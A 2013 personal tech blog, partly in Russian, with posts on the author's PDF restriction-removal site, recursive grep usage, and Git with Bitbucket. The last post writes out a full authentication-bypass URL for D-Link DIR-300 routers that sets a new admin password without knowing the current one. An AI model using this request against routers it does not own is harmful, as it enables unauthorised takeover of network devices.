среда, 11 декабря 2013 г.

Снять ограничения с PDF


Я уже писал однажды о том, как можно снять ограничения на печать и копирование текста с PDF документов. Таких онлайн-сервисов есть несколько, но удобных я не нашел - искал. Чтобы бесплатно, быстро, корректно работало с русскоязычными документами большого размера, без необходимости оставлять свои контакты и, желательно, без километров рекламы. Чтобы сервис просто делал свою работу.

Запилил свой.

Встречайте - hack-pdf.com - то, как я вижу хороший сервис.


понедельник, 25 ноября 2013 г.

Using Grep command for search in project sources

Problem: fast search some code blocks in big projects with lots of nested directories using command-line tools.

Solving: you need grep command. Its really great tool for search text in files with regular expressions, coming from Unix OS and now available on Windows, *nix and Mac OS. All you need is:

grep -rin --include="*.php" "function Action(" /path/to/directory/

So, let's consider parameters passed to grep command:

  • -r — the search will be recursive, that is in all subdirectories in our main directory
  • -i — the search will be case insensitive
  • -n — output will contain line numbers
  • --include="*.php" — search will be only in files that has php extension. Of course, available all regular expressions for describing needed file names
  • "function Action(" — needed text
  • /path/to/directory — directory for search accordingly

If you need just filenames without in-line matches, you can use parameter -l:

grep -rinl --include="*.php" "function Action(" /path/to/directory/

That's all - good luck in your search:)

среда, 20 ноября 2013 г.

Git и Bitbucket за 20 минут


Git - распределенная система контроля версий файлов, созданная под руководством Линуса Торвальдса. Системы контроля версий позволяют хранить несколько версий одних и тех же файлов с возможностью возврата к старому варианту, просмотра изменений, их авторов и т.д.

Распределенная система контроля версий не нуждается в центральном сервере, хранящем версии, вся история хранится на каждом локальном компьютере и при необходимости синхронизируется с аналогичным хранилищем другого компьютера. В этом отличие Git от, например, SVN - можно установить Git только на локальный компьютер и хранить все версии у себя, не дублируя на сервер. Однако в случае командной работы все же удобно иметь сервер, хранящий версии. Такой сервер также можно воспринимать как бэкап всех актуальных файлов и их версий, доступный из любой точки мира.

Про Git есть отличная бесплатная книга с соответствующим названием Pro Git, также спасибо соотечественникам за бескорыстный перевод - рекомендую.

Здесь я приведу краткие данные, позволяющие быстро начать работу с Git и Bitbucket. Bitbucket - это сервис, централизованно хранящий репозитории Git, бесплатный для 5 пользователей и платный для больших команд. Преимущество Bitbucket перед аналогичным сервисом GitHub - возможность создания закрытых репозиториев (не open source).

воскресенье, 10 марта 2013 г.

Hack admin password for D-Link DIR-300 Wi-Fi router


I recently had a problem with Wi-Fi router Dlink DIR-300. I didn't know admin password for router administration interface (I even didn't know who was its administrator, yeah:)), but there was necessary to change some router settings. Of course, it was possible to reset all router configurations by hardware reset, but I didn't want to set up all from scratch.

So, I started looking for a hacker way:) The way was found quickly. All what we need is to send just one HTTP request to one of the router PHP scripts. Ta-dam!

Open your favourite browser and go to this address:

http://router_ip/tools_admin.php?ACTION_POST=LOGIN&LOGIN_USER=a&LOGIN_PASSWD=b&login=+Log+In+&NO_NEED_AUTH=1&AUTH_GROUP=0&admin_name=admin&admin_password1=pass

Router_ip is IP address of your router (in my case it is 192.168.0.1), and pass is the new password for admin user. That's all! Now you can login in router administration interface using username admin and password pass.

Have a nice day and secure systems:)